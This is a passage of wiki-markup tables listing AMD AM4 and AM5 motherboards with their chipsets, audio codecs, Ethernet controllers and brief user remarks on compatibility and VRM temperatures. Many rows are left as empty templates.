| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2018 
|-
| &lt;!--Name--&gt;Asus PRIME A320M-C R2.0 rev1.1 A320M-K 
| &lt;!--Chipset--&gt;A320 A/B300 SFF 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HD audio with Realtek ALC887 alc897 CODEC 
| &lt;!--USB--&gt;2 usb 3.1 gen 1 
| &lt;!--Ethernet--&gt;Realtek 8111E 
| &lt;!--Opinion--&gt;2019 64bit - 3rd/2nd/1st Gen AMD Ryzen™ / 2nd and 1st Gen AMD Ryzen™ with Radeon™ Vega 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI A320M-A PRO MicroATX 
| &lt;!--Chipset--&gt;AMD A320  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;pci-e 3.0 
| &lt;!--Audio--&gt;HDAudio Realtek® ALC892 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;Realtek® 8111H
| &lt;!--Opinion--&gt;2019 64bit - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus ROG X399 Zenith Extreme  
| &lt;!--Chipset--&gt;AMD X399 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt; supremefx s1220 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;intel 
| &lt;!--Opinion--&gt;Threadripper 1950X 1920X 1900X TR4 skt 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;AsRock Fatality X470 Gaming K4 mATX 
| &lt;!--Chipset--&gt;X470 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;nvme 
| &lt;!--Gfx--&gt;pci-e rebar possible 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;intel 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asrock Fatal1ty X470 Gaming-ITXac AMD AM4
| &lt;!--Chipset--&gt;AMD X470 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;intel 
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;ASUS ROG STRIX X470-I GAMING AM4 ITX Motherboard
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus B450-I Gaming 
| &lt;!--Chipset--&gt;AMD B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;high VRM temps - raven ridge 14nm+ like 2200G 2400G 
|-
| &lt;!--Name--&gt;AsRock B450 Gaming K4 
| &lt;!--Chipset--&gt;B450
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt; alc892
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; 4 ddr4 slots - low VRM thermals 3900x 3950x 
|-
| &lt;!--Name--&gt;Gigabyte B450 I Aorus Pro Wifi 
| &lt;!--Chipset--&gt;AMD B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 nvme pcie3 with 4 sata 
| &lt;!--Gfx--&gt;pcie
| &lt;!--Audio--&gt;HDAudio with Realtek® ALC1220-VB codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel LAN 
| &lt;!--Opinion--&gt;very high vrm temps 
|-
| &lt;!--Name--&gt;Jginyue B450i Gaming ITX 
| &lt;!--Chipset--&gt;B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata3 - none nvme 
| &lt;!--Gfx--&gt;pcie3 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;1G 
| &lt;!--Opinion--&gt;2021 64 2nd 3rd AMD - 2 ddr4 dimm slots 
|-
| &lt;!--Name--&gt;MSI b450 tomahawk max 
| &lt;!--Chipset--&gt; b450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{n/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HD audio with Realtek® ALC892 Codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111H 
| &lt;!--Opinion--&gt; 
|-
| &lt;!--Name--&gt;MSI B450 Pro Carbon 
| &lt;!--Chipset--&gt;B450  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt; ALC codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel LAN 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI B450-A PRO
| &lt;!--Chipset--&gt;B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC892 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 8111h 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI B450I GAMING Plus AC ITX 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2019 - 2nd and 3rd gen AMD - 2 ddr4 slots - 
|-
| &lt;!--Name--&gt;MSI B450 GAMING PLUS MAX 
| &lt;!--Chipset--&gt;B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio with Realtek® ALC892/ALC897 Codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 8111H 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MAXSUN AMD Challenger B450M M-ATX (aka Soyo) 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;ASRock X570 PHANTOM GAMING-ITX/TB3 Mini ITX AM4 
| &lt;!--Chipset--&gt;X570  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;nvme 
| &lt;!--Gfx--&gt;PCIe 4.0 
| &lt;!--Audio--&gt;  ALC1200 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel LAN 
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Asus ROG Crosshair VIII Dark Hero
| &lt;!--Chipset--&gt;AMD X570 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt; SupremeFX7.1 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel® I211-AT and Realtek® RTL8125-CG 2.5G LAN
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus ROG Strix X570-I Gaming Mini ITX AM4 Motherboard
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI MPG X570 Gaming Plus 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;  alc1220 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus ROG Strix B550-i AM4 ITX Motherboard
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022  - 
|-
| &lt;!--Name--&gt;Jginyue Jingyue B550i Gaming itx 
| &lt;!--Chipset--&gt;B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;3 with 1 nvme 
| &lt;!--Gfx--&gt;1 pci-e 4
| &lt;!--Audio--&gt;HDAudio alc
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;1G 
| &lt;!--Comments--&gt;2022 64bit max of Ryzen 5500 (c t), 5600, 5600g (6c12t) - 2 ddr4 
|-
| &lt;!--Name--&gt;Asrock B550 PHANTOM GAMING ITX/AX 
| &lt;!--Chipset--&gt;AMD B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt; pci-e 
| &lt;!--Audio--&gt;HDAudio with alc1220 codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;{{no|intel 2.5G}} 
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;AsRock B550M-ITX/ac
| &lt;!--Chipset--&gt;B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio with Realtek ALC887 ALC897 Audio Codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek Gigabit LAN
| &lt;!--Opinion--&gt;2022  - 2 ddr4 slots 
|-
| &lt;!--Name--&gt;AsRock ASRock B550M-HDV
| &lt;!--Chipset--&gt;B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme and sata3 
| &lt;!--Gfx--&gt;pci-e 4.0
| &lt;!--Audio--&gt;HDAudio with Realtek ALC887 or ALC897 Audio Codec unknown 
| &lt;!--USB--&gt;usb3 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek rtl8111h Gigabit LAN}}
| &lt;!--Opinion--&gt;2022  - 2 ddr4 slots - 1 pcie x1 slot - 
|-
| &lt;!--Name--&gt;Asus ROG STRIX B550-A GAMING
| &lt;!--Chipset--&gt;B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;PCIe Gen4 x4 &amp; SATA3 
| &lt;!--Gfx--&gt;pci-e 4
| &lt;!--Audio--&gt;  supremefx S1220A
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Intel® I225-V 2.5Gb}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte AMD B550I AORUS PRO AX Mini-ITX rev 1.0 
| &lt;!--Chipset--&gt;AMD B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 nvme pci-e3 with 4 sata3
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Realtek® ALC1220-VB codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Realtek® 2.5GbE LAN}} 
| &lt;!--Opinion--&gt;2021  2 x DDR4 DIMM sockets  1Rx8/2Rx8/1Rx16 - 
|-
| &lt;!--Name--&gt;Gigabyte B550 AORUS ELITE AX V2 ATX
| &lt;!--Chipset--&gt;B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCI-e 4.0 DP and hdmi 
| &lt;!--Audio--&gt;HDAudio ALC1200 
| &lt;!--USB--&gt;USB3 USB 3.2 Gen1 Type-C 
| &lt;!--Ethernet--&gt;{{No|2.5GbE LAN}} 
| &lt;!--Opinion--&gt;2022 64bit- finer tuning than A520's - AMD Ryzen 5000 Series/ 3rd Gen Ryzen and 3rd Gen Ryzen with Radeon Graphics CPU - Dual Channel ECC/ Non-ECC Unbuffered DDR4, 4 DIMMs - 
|-
| &lt;!--Name--&gt;Gigabyte B550M DS3H mATX 
| &lt;!--Chipset--&gt; B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 NVMe 
| &lt;!--Gfx--&gt;PCI-e 4.0 
| &lt;!--Audio--&gt;HDaudio ALC887 
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;realtek rtl8118 
| &lt;!--Opinion--&gt;2021 64bit - 4 ddr4 dimms - 
|-
| &lt;!--Name--&gt;MSI MPG B550 GAMING PLUS ATX
| &lt;!--Chipset--&gt; B550 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCI-e 4.0 
| &lt;!--Audio--&gt;HDAudio ALC892 
| &lt;!--USB--&gt;USB 3 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8111H 
| &lt;!--Opinion--&gt;2022 64bit - 3rd Gen AMD Ryzen Processors - 4 dimm ddr4 - 
|-
| &lt;!--Name--&gt;MSI MAG B550 TOMAHAWK ATX 
| &lt;!--Chipset--&gt; B550
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 1 x M.2, Socket 3, M Key (up to Type 22110) and 1 x M.2, Socket 3, M Key (Type 2242/2260/2280)
| &lt;!--Gfx--&gt;PCI-e 4.0 with dp and hdmi 
| &lt;!--Audio--&gt;HDaudio ALC1200 
| &lt;!--USB--&gt;USB3 1 x USB 3.1 Type-C and 1 x USB 3.1 Type-A
| &lt;!--Ethernet--&gt;Realtek RTL8125B and Realtek RTL8111H 
| &lt;!--Opinion--&gt;2022 64bit - 4 Dimm slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Jginyue A520M-H mATX 
| &lt;!--Chipset--&gt;A520 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; old bios with random issues with APU ryzens - 
|-
| &lt;!--Name--&gt;Gigabyte A520M S2H mATX 
| &lt;!--Chipset--&gt;AMD A520 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 1GbE 
| &lt;!--Opinion--&gt;2022 64bit Zen3 65W and up - 2 ddr4 - 
|-
| &lt;!--Name--&gt;Gigabyte A520I AC mITX mini-itx 
| &lt;!--Chipset--&gt;AMD A520 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit Zen3 65W and up 5600G (6c12t) or 5700G (8c16t) - 2 ddr4 dimm slots - 
|-
| &lt;!--Name--&gt;MSI A520M-A PRO mATX
| &lt;!--Chipset--&gt;A520 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 1 x M.2, Socket 3, M Key (Type 2242/2260/2280) 
| &lt;!--Gfx--&gt;PCI-e 3.0 
| &lt;!--Audio--&gt;HDAudio ALC892 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 rtl8111H 
| &lt;!--Opinion--&gt;2022 64bit - 2 ddr4 dimm slots - 3rd Gen AMD Ryzen Desktop and AMD Ryzen 4000 G-Series CPU 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


===== (Socket AM5 LGA1718 Zen4 Zen5 Zen6 2022/27)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Asrock Steel Legend 
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCI-e rnda2 
| &lt;!--Audio--&gt;HD audio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit - ddr5 ecc (10 chip) and non-ecc (8 chips) 64Gb @ 6000Mhz or 128GB @ 4800Mhz - 
|-
| &lt;!--Name--&gt;Asrock TaiChi
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCI-e rnda2 
| &lt;!--Audio--&gt;HD Audio 
| &lt;!--USB--&gt;USB4 with Thunderbolt 4 equivalent 
| &lt;!--Ethernet--&gt;{{No|Realtek killer E3000 2.5GbE}}
| &lt;!--Opinion--&gt;2022 64bit - ddr5 ecc (10 chip) and non-ecc (8 chips) 
|-
| &lt;!--Name--&gt;Asus ROG Crosshair Hero 
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe rnda2 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;rnda3 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit 7950x3d 120W, 7900 7800 7600 90W 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x670e 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;rnda3 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2022 64bit 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Asus B650E-I 
| &lt;!--Chipset--&gt;B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe
| &lt;!--Gfx--&gt;pci-e 5
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2023  - better sound with an actual AMP, PCIe 5, USB-C display outs - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x650 B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x650 B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;x650 B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MAXSUN AMD Challenger B650M WIFI M-ATX (aka Soyo) 
| &lt;!--Chipset--&gt;B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI b650i mini itx
| &lt;!--Chipset--&gt;B650 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;pci-e 4
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Opinion--&gt;2023   - front panel connectors at the back of the board - dead rear nvme slot and a drained CMOS battery as the CMOS button being pressed during shipping - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A620M Zen4
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A620M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A620M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
